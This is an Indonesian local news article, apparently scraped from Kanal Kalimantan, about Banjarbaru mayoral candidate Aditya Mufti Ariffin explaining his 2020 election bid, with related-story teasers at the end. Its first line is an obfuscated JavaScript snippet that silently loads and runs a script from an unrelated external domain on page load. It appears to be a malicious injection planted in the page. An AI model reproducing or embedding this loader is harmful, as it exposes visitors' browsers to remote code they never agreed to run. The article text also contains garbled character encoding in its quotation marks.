(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Posisi strategis Banjarbaru sebagai salah satu kota dengan banyak potensi ekonomi kreatif, perlu didorong lebih maksimal. Untuk itu diperlukan kepemimpinan lebih kuat dan segar dalam upaya mempercepat pembangunan.
Hal tersebut disampaikan calon Walikota Banjarbaru, Aditya Mufti Ariffin menjawab alasan maju di Pilkada 2020 nanti. “Banyak hal yang perlu didorong lagi untuk pembangunan kota Banjarbaru. Baik dari sisi pelayanan, maupun pengembangan ekonomi masyarakat sehingga lebih bagus lagi,†katanya dalam jumpa pers di rumah keluarga mantan Gubernur Rudy Ariffin, Rabu (10/7).
Ia mencontohkan, soal pendulangan intan di wilayah Cempaka yang larinya malah ke kabupaten tetangga. Mestinya, pemerintah bisa membangun pusat sentra permata sehingga hasilnya bisa lebih dirasakan masyarakat sekitar.
“Jadi, bukan malah intannya di jual ke Martapura. Sehingga bisa bisa meningkatkan ekonomi kerakyatan, membantu masyarakat Cempaka serta menjadi salah satu sumber pendapatan Pemko Banjarbaru,†jelasnya.
Begitu juga dengan sektor industri kreatif. Melalui jaringan dan relasi pasar industri yang lebih luas yang dimilikinya, Aditya mengatakan harusnya bisa didorong lebih maju lagi. Termasuk dalam pengembangan industri kreatif di Banjarbaru agar lebih mendapatkan pasar lebih luas.
“Kita punya pontensi besar sebenarnya. Kebetulan juga istri saya selaku presiden IKRA (Industri Kreatif Indonesia) yang bekerjasama dengan Bank Indonesia berkomitmen membantu pengemangan industri kreatif. Dan itu anggarannya cukup besar,†ungkapnya.
Bank Indonesia, saat ini memang melakukan kolaborasi dengan desainer ternama Indonesia, Vivi Zubediâ€â€yang tak lain adalah istri dari Aditya, menciptakan IKRA sebagai wadah bagi halal lifestyle tanah air mendunia. Mengingat saat ini Indonesia terutama juga Banjarbaru, memiliki pasar yang besar, sayang untuk hanya menjadi konsumen.
IKRA dibentuk hasil kerjasama Vivi Zubedi Foundation dengan Bi yang memfasilitasi industri kreatif semakin berkembang dan mendunia. Dengan cara merangkul UKM syariah misalnya, istri Aditya itu menjadikan halal lifestyle Indonesia berstandar internasional. “Jadi, banyak yang bisa kembangkan di Banjarbaru ini. Tidak hanya berkutat menciptakan tempat-tempat wisata,†ungkapnya.
Begitu juga di bidang pelayanan. Baik kesehatan, pendidikan, transportasi, dan lainnya. Misalnya, dengan teknologi yang ada saat ini pelayanan semua adminitrasi kependudukan maupun izin dan lainnya bisa dilakukan lebih maksimal, simpel, dan cepat. “Karena ini bagian dari salah satu tugas pemerintah untuk melayani warganya,†jelasnya didampingi pasangan duetnya di Pilkada nanti, AR Iwansyah.
Walau demikian, Aditya tetap mengakui sosok Nadjmi sebagai Walikota Banjarbaru merupakan pemimpin yang memiliki banyak ide dan gagasan. “Beliau juga sosok sangat baik dan dalam menjalankan pemerintahan juga cukup bagus. Pembangunan juga berjalan walau belum semuanya tertangani,” ujarnya.(rico)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) kedatangan rombongan anggota… Read More
Raih 226.746 Suara, Syaifullah Tamliha-Habib Ahmad Peroleh 43.696 Suara Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Perkumpulan Penyedia Jasa Boga Indonesia (PPJI) menyambangi Ibu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Usaha aneka kuliner kue kering dan cemilan hasil usah bersama ibu-ibu yang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Kelompok Masyarakat Peduli Gambut (KMPG) Desa Pulantani, Kecamatan Haur Gading, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui atas usulan… Read More
This website uses cookies.